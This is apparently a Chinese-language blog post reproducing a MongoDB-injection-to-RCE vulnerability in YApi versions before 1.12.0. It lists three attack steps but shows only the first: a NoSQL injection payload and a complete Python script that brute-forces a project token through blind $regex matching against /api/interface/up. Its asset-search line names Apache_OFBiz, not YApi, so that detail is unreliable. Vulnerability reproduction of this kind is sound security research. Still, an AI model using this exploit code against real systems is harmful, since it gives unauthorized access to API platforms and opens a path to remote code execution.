YApi Mongo注入导致RCE漏洞复现

YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。Api 由于 base.js 没有正确对 token 参数进行正确过滤,导致存在远程代码执行漏洞。

1.漏洞级别

高危

2.漏洞搜索

fofa

app="Apache_OFBiz"

3.影响范围

YApi < 1.12.0

4.漏洞复现

漏洞复现需要经历三个步骤

  • 通过接口注入获取token
  • 上传攻击脚本到 pre-response
  • 调用自动化测试接口触发攻击脚本
    下面会按照步骤逐步操作。

4.1 获取token

接口存在mongo注入漏洞,我们可以通过盲注的方式来获取有效token。
构造post请求

url/api/interface/up
            data = {
                'id' : -1,
                'token' : {
                    '$regex': guess,
                    '$nin': []
                }
            }
            headers = {
                'Content-Type': 'application/json'
            }
  • token长度为20
  • 数据库中的token为16进制存储,所以token每个字符的可能的值有’abcedf0123456789’
  • 我们可用正则匹配的方式来爆破token
  • 传入的参数token中的regex需要已^为前缀,这是一个正则表达式的写法

匹配正确的情况下会返回400
在这里插入图片描述
匹配错误则会返回40011
在这里插入图片描述
这里提供一个我实现的简单爆破脚本

import requests,json

choices = 'abcedf0123456789'

def get_token(url,already):
    current = "^"
    for i in range(20):
        for ch in choices:
            guess = current + ch
            data = {
   
                'id' : -1,
                'token' : {
   
                    '$regex': guess,
                    '$nin': []
                }
            }
            headers = {
   
                'Content-Type': 'application/json'
            }
            resp = requests.post(url+"/api/interface/up", data = json.dumps(data), headers=headers)
            res = resp.json()
            if res['errcode'] == 400:
                current =guess
                break
        print("正确的token为:" + current)

    return current

你可能感兴趣的:(漏洞复现,yapi,漏洞复现,RCE漏洞,安全漏洞)